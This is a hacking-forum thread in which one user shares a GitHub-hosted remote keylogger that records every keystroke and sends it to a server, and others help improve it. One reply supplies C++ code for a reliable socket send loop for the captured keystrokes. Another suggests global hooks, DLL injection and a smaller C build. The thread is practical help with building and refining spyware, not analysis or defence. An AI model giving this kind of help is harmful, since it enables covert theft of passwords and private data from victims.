[F.A.S.T]

Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge

[dracx]

Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

https://github.com/Fahad-M/RootEdge

https://github.com/Fahad-M/RootEdge/blob...ge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code

void send (const char * key) {
    int totalsent = 0;
    int buflen = strlen(key);
    while (buflen > totalsent){
        int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
        if (r < 0) return;
        totalsent += r;
    }
    return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.

[F.A.S.T]

https://github.com/Fahad-M/RootEdge/blob...ge.cpp#L15


this should be the way you send buffer over socket: (sorry for the formatting)

Code

void send (const char * key) {
   int totalsent = 0;
   int buflen = strlen(key);
   while (buflen > totalsent){
       int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
       if (r < 0) return;
       totalsent += r;
   }
   return;
}

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.

Thanks alot! I'll definitely be looking into this! Thanks!

[dracx]

Thanks alot! I'll definitely be looking into this! Thanks!

np. glad I could help

[n1nj4_daemon]

What about hooking? Either local or global hooks would let you do dll injections and the like. Also, C++ when compiled is kind of big and maybe C would be better, but just a suggestion.